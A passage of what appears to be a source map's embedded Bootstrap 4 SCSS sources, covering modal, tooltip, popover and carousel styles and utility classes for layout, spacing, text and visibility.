 top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: $zindex-modal;\n  display: none;\n  overflow: hidden;\n  // Prevent Chrome on Windows from adding a focus outline. For details, see\n  // https://github.com/twbs/bootstrap/pull/10951.\n  outline: 0;\n  // We deliberately don't use `-webkit-overflow-scrolling: touch;` due to a\n  // gnarly iOS Safari bug: https://bugs.webkit.org/show_bug.cgi?id=158342\n  // See also https://github.com/twbs/bootstrap/issues/17695\n\n  .modal-open & {\n    overflow-x: hidden;\n    overflow-y: auto;\n  }\n}\n\n// Shell div to position the modal with bottom padding\n.modal-dialog {\n  position: relative;\n  width: auto;\n  margin: $modal-dialog-margin;\n  // allow clicks to pass through for custom click handling to close modal\n  pointer-events: none;\n\n  // When fading in the modal, animate it to slide down\n  .modal.fade & {\n    @include transition($modal-transition);\n    transform: translate(0, -25%);\n  }\n  .modal.show & {\n    transform: translate(0, 0);\n  }\n}\n\n.modal-dialog-centered {\n  display: flex;\n  align-items: center;\n  min-height: calc(100% - (#{$modal-dialog-margin} * 2));\n}\n\n// Actual modal\n.modal-content {\n  position: relative;\n  display: flex;\n  flex-direction: column;\n  width: 100%; // Ensure `.modal-content` extends the full width of the parent `.modal-dialog`\n  // counteract the pointer-events: none; in the .modal-dialog\n  pointer-events: auto;\n  background-color: $modal-content-bg;\n  background-clip: padding-box;\n  border: $modal-content-border-width solid $modal-content-border-color;\n  @include border-radius($modal-content-border-radius);\n  @include box-shadow($modal-content-box-shadow-xs);\n  // Remove focus outline from opened modal\n  outline: 0;\n}\n\n// Modal background\n.modal-backdrop {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: $zindex-modal-backdrop;\n  background-color: $modal-backdrop-bg;\n\n  // Fade for backdrop\n  &.fade { opacity: 0; }\n  &.show { opacity: $modal-backdrop-opacity; }\n}\n\n// Modal header\n// Top section of the modal w/ title and dismiss\n.modal-header {\n  display: flex;\n  align-items: flex-start; // so the close btn always stays on the upper right corner\n  justify-content: space-between; // Put modal header elements (title and dismiss) on opposite ends\n  padding: $modal-header-padding;\n  border-bottom: $modal-header-border-width solid $modal-header-border-color;\n  @include border-top-radius($modal-content-border-radius);\n\n  .close {\n    padding: $modal-header-padding;\n    // auto on the left force icon to the right even when there is no .modal-title\n    margin: (-$modal-header-padding) (-$modal-header-padding) (-$modal-header-padding) auto;\n  }\n}\n\n// Title text within header\n.modal-title {\n  margin-bottom: 0;\n  line-height: $modal-title-line-height;\n}\n\n// Modal body\n// Where all modal content resides (sibling of .modal-header and .modal-footer)\n.modal-body {\n  position: relative;\n  // Enable `flex-grow: 1` so that the body take up as much space as possible\n  // when should there be a fixed height on `.modal-dialog`.\n  flex: 1 1 auto;\n  padding: $modal-inner-padding;\n}\n\n// Footer (for actions)\n.modal-footer {\n  display: flex;\n  align-items: center; // vertically center\n  justify-content: flex-end; // Right align buttons with flex property because text-align doesn't work on flex items\n  padding: $modal-inner-padding;\n  border-top: $modal-footer-border-width solid $modal-footer-border-color;\n\n  // Easily place margin between footer elements\n  > :not(:first-child) { margin-left: .25rem; }\n  > :not(:last-child) { margin-right: .25rem; }\n}\n\n// Measure scrollbar width for padding body during modal show/hide\n.modal-scrollbar-measure {\n  position: absolute;\n  top: -9999px;\n  width: 50px;\n  height: 50px;\n  overflow: scroll;\n}\n\n// Scale up the modal\n@include media-breakpoint-up(sm) {\n  // Automatically set modal's width for larger viewports\n  .modal-dialog {\n    max-width: $modal-md;\n    margin: $modal-dialog-margin-y-sm-up auto;\n  }\n\n  .modal-dialog-centered {\n    min-height: calc(100% - (#{$modal-dialog-margin-y-sm-up} * 2));\n  }\n\n  .modal-content {\n    @include box-shadow($modal-content-box-shadow-sm-up);\n  }\n\n  .modal-sm { max-width: $modal-sm; }\n\n}\n\n@include media-breakpoint-up(lg) {\n  .modal-lg { max-width: $modal-lg; }\n}\n","// Base class\n.tooltip {\n  position: absolute;\n  z-index: $zindex-tooltip;\n  display: block;\n  margin: $tooltip-margin;\n  // Our parent element can be arbitrary since tooltips are by default inserted as a sibling of their target element.\n  // So reset our font and text properties to avoid inheriting weird values.\n  @include reset-text();\n  font-size: $tooltip-font-size;\n  // Allow breaking very long words so they don't overflow the tooltip's bounds\n  word-wrap: break-word;\n  opacity: 0;\n\n  &.show { opacity: $tooltip-opacity; }\n\n  .arrow {\n    position: absolute;\n    display: block;\n    width: $tooltip-arrow-width;\n    height: $tooltip-arrow-height;\n\n    &::before {\n      position: absolute;\n      content: \"\";\n      border-color: transparent;\n      border-style: solid;\n    }\n  }\n}\n\n.bs-tooltip-top {\n  padding: $tooltip-arrow-height 0;\n\n  .arrow {\n    bottom: 0;\n\n    &::before {\n      top: 0;\n      border-width: $tooltip-arrow-height ($tooltip-arrow-width / 2) 0;\n      border-top-color: $tooltip-arrow-color;\n    }\n  }\n}\n\n.bs-tooltip-right {\n  padding: 0 $tooltip-arrow-height;\n\n  .arrow {\n    left: 0;\n    width: $tooltip-arrow-height;\n    height: $tooltip-arrow-width;\n\n    &::before {\n      right: 0;\n      border-width: ($tooltip-arrow-width / 2) $tooltip-arrow-height ($tooltip-arrow-width / 2) 0;\n      border-right-color: $tooltip-arrow-color;\n    }\n  }\n}\n\n.bs-tooltip-bottom {\n  padding: $tooltip-arrow-height 0;\n\n  .arrow {\n    top: 0;\n\n    &::before {\n      bottom: 0;\n      border-width: 0 ($tooltip-arrow-width / 2) $tooltip-arrow-height;\n      border-bottom-color: $tooltip-arrow-color;\n    }\n  }\n}\n\n.bs-tooltip-left {\n  padding: 0 $tooltip-arrow-height;\n\n  .arrow {\n    right: 0;\n    width: $tooltip-arrow-height;\n    height: $tooltip-arrow-width;\n\n    &::before {\n      left: 0;\n      border-width: ($tooltip-arrow-width / 2) 0 ($tooltip-arrow-width / 2) $tooltip-arrow-height;\n      border-left-color: $tooltip-arrow-color;\n    }\n  }\n}\n\n.bs-tooltip-auto {\n  &[x-placement^=\"top\"] {\n    @extend .bs-tooltip-top;\n  }\n  &[x-placement^=\"right\"] {\n    @extend .bs-tooltip-right;\n  }\n  &[x-placement^=\"bottom\"] {\n    @extend .bs-tooltip-bottom;\n  }\n  &[x-placement^=\"left\"] {\n    @extend .bs-tooltip-left;\n  }\n}\n\n// Wrapper for the tooltip content\n.tooltip-inner {\n  max-width: $tooltip-max-width;\n  padding: $tooltip-padding-y $tooltip-padding-x;\n  color: $tooltip-color;\n  text-align: center;\n  background-color: $tooltip-bg;\n  @include border-radius($tooltip-border-radius);\n}\n","@mixin reset-text {\n  font-family: $font-family-base;\n  // We deliberately do NOT reset font-size or word-wrap.\n  font-style: normal;\n  font-weight: $font-weight-normal;\n  line-height: $line-height-base;\n  text-align: left; // Fallback for where `start` is not supported\n  text-align: start; // stylelint-disable-line declaration-block-no-duplicate-properties\n  text-decoration: none;\n  text-shadow: none;\n  text-transform: none;\n  letter-spacing: normal;\n  word-break: normal;\n  word-spacing: normal;\n  white-space: normal;\n  line-break: auto;\n}\n",".popover {\n  position: absolute;\n  top: 0;\n  left: 0;\n  z-index: $zindex-popover;\n  display: block;\n  max-width: $popover-max-width;\n  // Our parent element can be arbitrary since tooltips are by default inserted as a sibling of their target element.\n  // So reset our font and text properties to avoid inheriting weird values.\n  @include reset-text();\n  font-size: $popover-font-size;\n  // Allow breaking very long words so they don't overflow the popover's bounds\n  word-wrap: break-word;\n  background-color: $popover-bg;\n  background-clip: padding-box;\n  border: $popover-border-width solid $popover-border-color;\n  @include border-radius($popover-border-radius);\n  @include box-shadow($popover-box-shadow);\n\n  .arrow {\n    position: absolute;\n    display: block;\n    width: $popover-arrow-width;\n    height: $popover-arrow-height;\n    margin: 0 $border-radius-lg;\n\n    &::before,\n    &::after {\n      position: absolute;\n      display: block;\n      content: \"\";\n      border-color: transparent;\n      border-style: solid;\n    }\n  }\n}\n\n.bs-popover-top {\n  margin-bottom: $popover-arrow-height;\n\n  .arrow {\n    bottom: calc((#{$popover-arrow-height} + #{$popover-border-width}) * -1);\n  }\n\n  .arrow::before,\n  .arrow::after {\n    border-width: $popover-arrow-height ($popover-arrow-width / 2) 0;\n  }\n\n  .arrow::before {\n    bottom: 0;\n    border-top-color: $popover-arrow-outer-color;\n  }\n\n  .arrow::after {\n    bottom: $popover-border-width;\n    border-top-color: $popover-arrow-color;\n  }\n}\n\n.bs-popover-right {\n  margin-left: $popover-arrow-height;\n\n  .arrow {\n    left: calc((#{$popover-arrow-height} + #{$popover-border-width}) * -1);\n    width: $popover-arrow-height;\n    height: $popover-arrow-width;\n    margin: $border-radius-lg 0; // make sure the arrow does not touch the popover's rounded corners\n  }\n\n  .arrow::before,\n  .arrow::after {\n    border-width: ($popover-arrow-width / 2) $popover-arrow-height ($popover-arrow-width / 2) 0;\n  }\n\n  .arrow::before {\n    left: 0;\n    border-right-color: $popover-arrow-outer-color;\n  }\n\n  .arrow::after {\n    left: $popover-border-width;\n    border-right-color: $popover-arrow-color;\n  }\n}\n\n.bs-popover-bottom {\n  margin-top: $popover-arrow-height;\n\n  .arrow {\n    top: calc((#{$popover-arrow-height} + #{$popover-border-width}) * -1);\n  }\n\n  .arrow::before,\n  .arrow::after {\n    border-width: 0 ($popover-arrow-width / 2) $popover-arrow-height ($popover-arrow-width / 2);\n  }\n\n  .arrow::before {\n    top: 0;\n    border-bottom-color: $popover-arrow-outer-color;\n  }\n\n  .arrow::after {\n    top: $popover-border-width;\n    border-bottom-color: $popover-arrow-color;\n  }\n\n  // This will remove the popover-header's border just below the arrow\n  .popover-header::before {\n    position: absolute;\n    top: 0;\n    left: 50%;\n    display: block;\n    width: $popover-arrow-width;\n    margin-left: ($popover-arrow-width / -2);\n    content: \"\";\n    border-bottom: $popover-border-width solid $popover-header-bg;\n  }\n}\n\n.bs-popover-left {\n  margin-right: $popover-arrow-height;\n\n  .arrow {\n    right: calc((#{$popover-arrow-height} + #{$popover-border-width}) * -1);\n    width: $popover-arrow-height;\n    height: $popover-arrow-width;\n    margin: $border-radius-lg 0; // make sure the arrow does not touch the popover's rounded corners\n  }\n\n  .arrow::before,\n  .arrow::after {\n    border-width: ($popover-arrow-width / 2) 0 ($popover-arrow-width / 2) $popover-arrow-height;\n  }\n\n  .arrow::before {\n    right: 0;\n    border-left-color: $popover-arrow-outer-color;\n  }\n\n  .arrow::after {\n    right: $popover-border-width;\n    border-left-color: $popover-arrow-color;\n  }\n}\n\n.bs-popover-auto {\n  &[x-placement^=\"top\"] {\n    @extend .bs-popover-top;\n  }\n  &[x-placement^=\"right\"] {\n    @extend .bs-popover-right;\n  }\n  &[x-placement^=\"bottom\"] {\n    @extend .bs-popover-bottom;\n  }\n  &[x-placement^=\"left\"] {\n    @extend .bs-popover-left;\n  }\n}\n\n\n// Offset the popover to account for the popover arrow\n.popover-header {\n  padding: $popover-header-padding-y $popover-header-padding-x;\n  margin-bottom: 0; // Reset the default from Reboot\n  font-size: $font-size-base;\n  color: $popover-header-color;\n  background-color: $popover-header-bg;\n  border-bottom: $popover-border-width solid darken($popover-header-bg, 5%);\n  $offset-border-width: calc(#{$border-radius-lg} - #{$popover-border-width});\n  @include border-top-radius($offset-border-width);\n\n  &:empty {\n    display: none;\n  }\n}\n\n.popover-body {\n  padding: $popover-body-padding-y $popover-body-padding-x;\n  color: $popover-body-color;\n}\n","// Notes on the classes:\n//\n// 1. The .carousel-item-left and .carousel-item-right is used to indicate where\n//    the active slide is heading.\n// 2. .active.carousel-item is the current slide.\n// 3. .active.carousel-item-left and .active.carousel-item-right is the current\n//    slide in its in-transition state. Only one of these occurs at a time.\n// 4. .carousel-item-next.carousel-item-left and .carousel-item-prev.carousel-item-right\n//    is the upcoming slide in transition.\n\n.carousel {\n  position: relative;\n}\n\n.carousel-inner {\n  position: relative;\n  width: 100%;\n  overflow: hidden;\n}\n\n.carousel-item {\n  position: relative;\n  display: none;\n  align-items: center;\n  width: 100%;\n  @include transition($carousel-transition);\n  backface-visibility: hidden;\n  perspective: 1000px;\n}\n\n.carousel-item.active,\n.carousel-item-next,\n.carousel-item-prev {\n  display: block;\n}\n\n.carousel-item-next,\n.carousel-item-prev {\n  position: absolute;\n  top: 0;\n}\n\n.carousel-item-next.carousel-item-left,\n.carousel-item-prev.carousel-item-right {\n  transform: translateX(0);\n\n  @supports (transform-style: preserve-3d) {\n    transform: translate3d(0, 0, 0);\n  }\n}\n\n.carousel-item-next,\n.active.carousel-item-right {\n  transform: translateX(100%);\n\n  @supports (transform-style: preserve-3d) {\n    transform: translate3d(100%, 0, 0);\n  }\n}\n\n.carousel-item-prev,\n.active.carousel-item-left {\n  transform: translateX(-100%);\n\n  @supports (transform-style: preserve-3d) {\n    transform: translate3d(-100%, 0, 0);\n  }\n}\n\n\n//\n// Alternate transitions\n//\n\n.carousel-fade {\n  .carousel-item {\n    opacity: 0;\n    transition-duration: .6s;\n    transition-property: opacity;\n  }\n\n  .carousel-item.active,\n  .carousel-item-next.carousel-item-left,\n  .carousel-item-prev.carousel-item-right {\n    opacity: 1;\n  }\n\n  .active.carousel-item-left,\n  .active.carousel-item-right {\n    opacity: 0;\n  }\n\n  .carousel-item-next,\n  .carousel-item-prev,\n  .carousel-item.active,\n  .active.carousel-item-left,\n  .active.carousel-item-prev {\n    transform: translateX(0);\n\n    @supports (transform-style: preserve-3d) {\n      transform: translate3d(0, 0, 0);\n    }\n  }\n}\n\n\n//\n// Left/right controls for nav\n//\n\n.carousel-control-prev,\n.carousel-control-next {\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  // Use flex for alignment (1-3)\n  display: flex; // 1. allow flex styles\n  align-items: center; // 2. vertically center contents\n  justify-content: center; // 3. horizontally center contents\n  width: $carousel-control-width;\n  color: $carousel-control-color;\n  text-align: center;\n  opacity: $carousel-control-opacity;\n  // We can't have a transition here because WebKit cancels the carousel\n  // animation if you trip this while in the middle of another animation.\n\n  // Hover/focus state\n  @include hover-focus {\n    color: $carousel-control-color;\n    text-decoration: none;\n    outline: 0;\n    opacity: .9;\n  }\n}\n.carousel-control-prev {\n  left: 0;\n  @if $enable-gradients {\n    background: linear-gradient(90deg, rgba($black, .25), rgba($black, .001));\n  }\n}\n.carousel-control-next {\n  right: 0;\n  @if $enable-gradients {\n    background: linear-gradient(270deg, rgba($black, .25), rgba($black, .001));\n  }\n}\n\n// Icons for within\n.carousel-control-prev-icon,\n.carousel-control-next-icon {\n  display: inline-block;\n  width: $carousel-control-icon-width;\n  height: $carousel-control-icon-width;\n  background: transparent no-repeat center center;\n  background-size: 100% 100%;\n}\n.carousel-control-prev-icon {\n  background-image: $carousel-control-prev-icon-bg;\n}\n.carousel-control-next-icon {\n  background-image: $carousel-control-next-icon-bg;\n}\n\n\n// Optional indicator pips\n//\n// Add an ordered list with the following class and add a list item for each\n// slide your carousel holds.\n\n.carousel-indicators {\n  position: absolute;\n  right: 0;\n  bottom: 10px;\n  left: 0;\n  z-index: 15;\n  display: flex;\n  justify-content: center;\n  padding-left: 0; // override <ol> default\n  // Use the .carousel-control's width as margin so we don't overlay those\n  margin-right: $carousel-control-width;\n  margin-left: $carousel-control-width;\n  list-style: none;\n\n  li {\n    position: relative;\n    flex: 0 1 auto;\n    width: $carousel-indicator-width;\n    height: $carousel-indicator-height;\n    margin-right: $carousel-indicator-spacer;\n    margin-left: $carousel-indicator-spacer;\n    text-indent: -999px;\n    background-color: rgba($carousel-indicator-active-bg, .5);\n\n    // Use pseudo classes to increase the hit area by 10px on top and bottom.\n    &::before {\n      position: absolute;\n      top: -10px;\n      left: 0;\n      display: inline-block;\n      width: 100%;\n      height: 10px;\n      content: \"\";\n    }\n    &::after {\n      position: absolute;\n      bottom: -10px;\n      left: 0;\n      display: inline-block;\n      width: 100%;\n      height: 10px;\n      content: \"\";\n    }\n  }\n\n  .active {\n    background-color: $carousel-indicator-active-bg;\n  }\n}\n\n\n// Optional captions\n//\n//\n\n.carousel-caption {\n  position: absolute;\n  right: ((100% - $carousel-caption-width) / 2);\n  bottom: 20px;\n  left: ((100% - $carousel-caption-width) / 2);\n  z-index: 10;\n  padding-top: 20px;\n  padding-bottom: 20px;\n  color: $carousel-caption-color;\n  text-align: center;\n}\n","// stylelint-disable declaration-no-important\n\n.align-baseline    { vertical-align: baseline !important; } // Browser default\n.align-top         { vertical-align: top !important; }\n.align-middle      { vertical-align: middle !important; }\n.align-bottom      { vertical-align: bottom !important; }\n.align-text-bottom { vertical-align: text-bottom !important; }\n.align-text-top    { vertical-align: text-top !important; }\n","// stylelint-disable declaration-no-important\n\n// Contextual backgrounds\n\n@mixin bg-variant($parent, $color) {\n  #{$parent} {\n    background-color: $color !important;\n  }\n  a#{$parent},\n  button#{$parent} {\n    @include hover-focus {\n      background-color: darken($color, 10%) !important;\n    }\n  }\n}\n\n@mixin bg-gradient-variant($parent, $color) {\n  #{$parent} {\n    background: $color linear-gradient(180deg, mix($body-bg, $color, 15%), $color) repeat-x !important;\n  }\n}\n","// stylelint-disable declaration-no-important\n\n@each $color, $value in $theme-colors {\n  @include bg-variant(\".bg-#{$color}\", $value);\n}\n\n@if $enable-gradients {\n  @each $color, $value in $theme-colors {\n    @include bg-gradient-variant(\".bg-gradient-#{$color}\", $value);\n  }\n}\n\n.bg-white {\n  background-color: $white !important;\n}\n\n.bg-transparent {\n  background-color: transparent !important;\n}\n","// stylelint-disable declaration-no-important\n\n//\n// Border\n//\n\n.border         { border: $border-width solid $border-color !important; }\n.border-top     { border-top: $border-width solid $border-color !important; }\n.border-right   { border-right: $border-width solid $border-color !important; }\n.border-bottom  { border-bottom: $border-width solid $border-color !important; }\n.border-left    { border-left: $border-width solid $border-color !important; }\n\n.border-0        { border: 0 !important; }\n.border-top-0    { border-top: 0 !important; }\n.border-right-0  { border-right: 0 !important; }\n.border-bottom-0 { border-bottom: 0 !important; }\n.border-left-0   { border-left: 0 !important; }\n\n@each $color, $value in $theme-colors {\n  .border-#{$color} {\n    border-color: $value !important;\n  }\n}\n\n.border-white {\n  border-color: $white !important;\n}\n\n//\n// Border-radius\n//\n\n.rounded {\n  border-radius: $border-radius !important;\n}\n.rounded-top {\n  border-top-left-radius: $border-radius !important;\n  border-top-right-radius: $border-radius !important;\n}\n.rounded-right {\n  border-top-right-radius: $border-radius !important;\n  border-bottom-right-radius: $border-radius !important;\n}\n.rounded-bottom {\n  border-bottom-right-radius: $border-radius !important;\n  border-bottom-left-radius: $border-radius !important;\n}\n.rounded-left {\n  border-top-left-radius: $border-radius !important;\n  border-bottom-left-radius: $border-radius !important;\n}\n\n.rounded-circle {\n  border-radius: 50% !important;\n}\n\n.rounded-0 {\n  border-radius: 0 !important;\n}\n","@mixin clearfix() {\n  &::after {\n    display: block;\n    clear: both;\n    content: \"\";\n  }\n}\n","// stylelint-disable declaration-no-important\n\n//\n// Utilities for common `display` values\n//\n\n@each $breakpoint in map-keys($grid-breakpoints) {\n  @include media-breakpoint-up($breakpoint) {\n    $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n    .d#{$infix}-none         { display: none !important; }\n    .d#{$infix}-inline       { display: inline !important; }\n    .d#{$infix}-inline-block { display: inline-block !important; }\n    .d#{$infix}-block        { display: block !important; }\n    .d#{$infix}-table        { display: table !important; }\n    .d#{$infix}-table-row    { display: table-row !important; }\n    .d#{$infix}-table-cell   { display: table-cell !important; }\n    .d#{$infix}-flex         { display: flex !important; }\n    .d#{$infix}-inline-flex  { display: inline-flex !important; }\n  }\n}\n\n\n//\n// Utilities for toggling `display` in print\n//\n\n@media print {\n  .d-print-none         { display: none !important; }\n  .d-print-inline       { display: inline !important; }\n  .d-print-inline-block { display: inline-block !important; }\n  .d-print-block        { display: block !important; }\n  .d-print-table        { display: table !important; }\n  .d-print-table-row    { display: table-row !important; }\n  .d-print-table-cell   { display: table-cell !important; }\n  .d-print-flex         { display: flex !important; }\n  .d-print-inline-flex  { display: inline-flex !important; }\n}\n","// Credit: Nicolas Gallagher and SUIT CSS.\n\n.embed-responsive {\n  position: relative;\n  display: block;\n  width: 100%;\n  padding: 0;\n  overflow: hidden;\n\n  &::before {\n    display: block;\n    content: \"\";\n  }\n\n  .embed-responsive-item,\n  iframe,\n  embed,\n  object,\n  video {\n    position: absolute;\n    top: 0;\n    bottom: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    border: 0;\n  }\n}\n\n.embed-responsive-21by9 {\n  &::before {\n    padding-top: percentage(9 / 21);\n  }\n}\n\n.embed-responsive-16by9 {\n  &::before {\n    padding-top: percentage(9 / 16);\n  }\n}\n\n.embed-responsive-4by3 {\n  &::before {\n    padding-top: percentage(3 / 4);\n  }\n}\n\n.embed-responsive-1by1 {\n  &::before {\n    padding-top: percentage(1 / 1);\n  }\n}\n","// stylelint-disable declaration-no-important\n\n// Flex variation\n//\n// Custom styles for additional flex alignment options.\n\n@each $breakpoint in map-keys($grid-breakpoints) {\n  @include media-breakpoint-up($breakpoint) {\n    $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n    .flex#{$infix}-row            { flex-direction: row !important; }\n    .flex#{$infix}-column         { flex-direction: column !important; }\n    .flex#{$infix}-row-reverse    { flex-direction: row-reverse !important; }\n    .flex#{$infix}-column-reverse { flex-direction: column-reverse !important; }\n\n    .flex#{$infix}-wrap         { flex-wrap: wrap !important; }\n    .flex#{$infix}-nowrap       { flex-wrap: nowrap !important; }\n    .flex#{$infix}-wrap-reverse { flex-wrap: wrap-reverse !important; }\n    .flex#{$infix}-fill         { flex: 1 1 auto !important; }\n    .flex#{$infix}-grow-0       { flex-grow: 0 !important; }\n    .flex#{$infix}-grow-1       { flex-grow: 1 !important; }\n    .flex#{$infix}-shrink-0     { flex-shrink: 0 !important; }\n    .flex#{$infix}-shrink-1     { flex-shrink: 1 !important; }\n\n    .justify-content#{$infix}-start   { justify-content: flex-start !important; }\n    .justify-content#{$infix}-end     { justify-content: flex-end !important; }\n    .justify-content#{$infix}-center  { justify-content: center !important; }\n    .justify-content#{$infix}-between { justify-content: space-between !important; }\n    .justify-content#{$infix}-around  { justify-content: space-around !important; }\n\n    .align-items#{$infix}-start    { align-items: flex-start !important; }\n    .align-items#{$infix}-end      { align-items: flex-end !important; }\n    .align-items#{$infix}-center   { align-items: center !important; }\n    .align-items#{$infix}-baseline { align-items: baseline !important; }\n    .align-items#{$infix}-stretch  { align-items: stretch !important; }\n\n    .align-content#{$infix}-start   { align-content: flex-start !important; }\n    .align-content#{$infix}-end     { align-content: flex-end !important; }\n    .align-content#{$infix}-center  { align-content: center !important; }\n    .align-content#{$infix}-between { align-content: space-between !important; }\n    .align-content#{$infix}-around  { align-content: space-around !important; }\n    .align-content#{$infix}-stretch { align-content: stretch !important; }\n\n    .align-self#{$infix}-auto     { align-self: auto !important; }\n    .align-self#{$infix}-start    { align-self: flex-start !important; }\n    .align-self#{$infix}-end      { align-self: flex-end !important; }\n    .align-self#{$infix}-center   { align-self: center !important; }\n    .align-self#{$infix}-baseline { align-self: baseline !important; }\n    .align-self#{$infix}-stretch  { align-self: stretch !important; }\n  }\n}\n","@each $breakpoint in map-keys($grid-breakpoints) {\n  @include media-breakpoint-up($breakpoint) {\n    $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n    .float#{$infix}-left  { @include float-left; }\n    .float#{$infix}-right { @include float-right; }\n    .float#{$infix}-none  { @include float-none; }\n  }\n}\n","// stylelint-disable declaration-no-important\n\n@mixin float-left {\n  float: left !important;\n}\n@mixin float-right {\n  float: right !important;\n}\n@mixin float-none {\n  float: none !important;\n}\n","// stylelint-disable declaration-no-important\n\n// Common values\n\n// Sass list not in variables since it's not intended for customization.\n// stylelint-disable-next-line scss/dollar-variable-default\n$positions: static, relative, absolute, fixed, sticky;\n\n@each $position in $positions {\n  .position-#{$position} { position: $position !important; }\n}\n\n// Shorthand\n\n.fixed-top {\n  position: fixed;\n  top: 0;\n  right: 0;\n  left: 0;\n  z-index: $zindex-fixed;\n}\n\n.fixed-bottom {\n  position: fixed;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: $zindex-fixed;\n}\n\n.sticky-top {\n  @supports (position: sticky) {\n    position: sticky;\n    top: 0;\n    z-index: $zindex-sticky;\n  }\n}\n","//\n// Screenreaders\n//\n\n.sr-only {\n  @include sr-only();\n}\n\n.sr-only-focusable {\n  @include sr-only-focusable();\n}\n","// Only display content to screen readers\n//\n// See: https://a11yproject.com/posts/how-to-hide-content/\n// See: https://hugogiraudel.com/2016/10/13/css-hide-and-seek/\n\n@mixin sr-only {\n  position: absolute;\n  width: 1px;\n  height: 1px;\n  padding: 0;\n  overflow: hidden;\n  clip: rect(0, 0, 0, 0);\n  white-space: nowrap;\n  border: 0;\n}\n\n// Use in conjunction with .sr-only to only display content when it's focused.\n//\n// Useful for \"Skip to main content\" links; see https://www.w3.org/TR/2013/NOTE-WCAG20-TECHS-20130905/G1\n//\n// Credit: HTML5 Boilerplate\n\n@mixin sr-only-focusable {\n  &:active,\n  &:focus {\n    position: static;\n    width: auto;\n    height: auto;\n    overflow: visible;\n    clip: auto;\n    white-space: normal;\n  }\n}\n","// stylelint-disable declaration-no-important\n\n.shadow-sm { box-shadow: $box-shadow-sm !important; }\n.shadow { box-shadow: $box-shadow !important; }\n.shadow-lg { box-shadow: $box-shadow-lg !important; }\n.shadow-none { box-shadow: none !important; }\n","// stylelint-disable declaration-no-important\n\n// Width and height\n\n@each $prop, $abbrev in (width: w, height: h) {\n  @each $size, $length in $sizes {\n    .#{$abbrev}-#{$size} { #{$prop}: $length !important; }\n  }\n}\n\n.mw-100 { max-width: 100% !important; }\n.mh-100 { max-height: 100% !important; }\n","// stylelint-disable declaration-no-important\n\n// Margin and Padding\n\n@each $breakpoint in map-keys($grid-breakpoints) {\n  @include media-breakpoint-up($breakpoint) {\n    $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n    @each $prop, $abbrev in (margin: m, padding: p) {\n      @each $size, $length in $spacers {\n\n        .#{$abbrev}#{$infix}-#{$size} { #{$prop}: $length !important; }\n        .#{$abbrev}t#{$infix}-#{$size},\n        .#{$abbrev}y#{$infix}-#{$size} {\n          #{$prop}-top: $length !important;\n        }\n        .#{$abbrev}r#{$infix}-#{$size},\n        .#{$abbrev}x#{$infix}-#{$size} {\n          #{$prop}-right: $length !important;\n        }\n        .#{$abbrev}b#{$infix}-#{$size},\n        .#{$abbrev}y#{$infix}-#{$size} {\n          #{$prop}-bottom: $length !important;\n        }\n        .#{$abbrev}l#{$infix}-#{$size},\n        .#{$abbrev}x#{$infix}-#{$size} {\n          #{$prop}-left: $length !important;\n        }\n      }\n    }\n\n    // Some special margin utils\n    .m#{$infix}-auto { margin: auto !important; }\n    .mt#{$infix}-auto,\n    .my#{$infix}-auto {\n      margin-top: auto !important;\n    }\n    .mr#{$infix}-auto,\n    .mx#{$infix}-auto {\n      margin-right: auto !important;\n    }\n    .mb#{$infix}-auto,\n    .my#{$infix}-auto {\n      margin-bottom: auto !important;\n    }\n    .ml#{$infix}-auto,\n    .mx#{$infix}-auto {\n      margin-left: auto !important;\n    }\n  }\n}\n","// stylelint-disable declaration-no-important\n\n//\n// Text\n//\n\n.text-monospace { font-family: $font-family-monospace; }\n\n// Alignment\n\n.text-justify  { text-align: justify !important; }\n.text-nowrap   { white-space: nowrap !important; }\n.text-truncate { @include text-truncate; }\n\n// Responsive alignment\n\n@each $breakpoint in map-keys($grid-breakpoints) {\n  @include media-breakpoint-up($breakpoint) {\n    $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n    .text#{$infix}-left   { text-align: left !important; }\n    .text#{$infix}-right  { text-align: right !important; }\n    .text#{$infix}-center { text-align: center !important; }\n  }\n}\n\n// Transformation\n\n.text-lowercase  { text-transform: lowercase !important; }\n.text-uppercase  { text-transform: uppercase !important; }\n.text-capitalize { text-transform: capitalize !important; }\n\n// Weight and italics\n\n.font-weight-light  { font-weight: $font-weight-light !important; }\n.font-weight-normal { font-weight: $font-weight-normal !important; }\n.font-weight-bold   { font-weight: $font-weight-bold !important; }\n.font-italic        { font-style: italic !important; }\n\n// Contextual colors\n\n.text-white { color: $white !important; }\n\n@each $color, $value in $theme-colors {\n  @include text-emphasis-variant(\".text-#{$color}\", $value);\n}\n\n.text-body { color: $body-color !important; }\n.text-muted { color: $text-muted !important; }\n\n.text-black-50 { color: rgba($black, .5) !important; }\n.text-white-50 { color: rgba($white, .5) !important; }\n\n// Misc\n\n.text-hide {\n  @include text-hide();\n}\n","// Text truncate\n// Requires inline-block or block for proper styling\n\n@mixin text-truncate() {\n  overflow: hidden;\n  text-overflow: ellipsis;\n  white-space: nowrap;\n}\n","// stylelint-disable declaration-no-important\n\n// Typography\n\n@mixin text-emphasis-variant($parent, $color) {\n  #{$parent} {\n    color: $color !important;\n  }\n  a#{$parent} {\n    @include hover-focus {\n      color: darken($color, 10%) !important;\n    }\n  }\n}\n","// CSS image replacement\n@mixin text-hide() {\n  // stylelint-disable-next-line font-family-no-missing-generic-family-keyword\n  font: 0/0 a;\n  color: transparent;\n  text-shadow: none;\n  background-color: transparent;\n  border: 0;\n\n  @warn \"The `text-hide()` mixin has been deprecated as of v4.1.0. It will be removed entirely in v5.\";\n}\n","//\n// Visibility utilities\n//\n\n.visible {\n  @include invisible(visible);\n}\n\n.invisible {\n  @include invisible(hidden);\n}\n","// stylelint-disable declaration-no-important\n\n// Visibility\n\n@mixin invisible($visibility) {\n  visibility: $visibility !important;\n}\n","// stylelint-disable declaration-no-important, selector-no-qualifying-type\n\n// Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css\n\n// ==========================================================================\n// Print styles.\n// Inlined to avoid the additional HTTP request:\n// https://www.phpied.com/delay-loading-your-print-css/\n// ==========================================================================\n\n@if $enable-print-styles 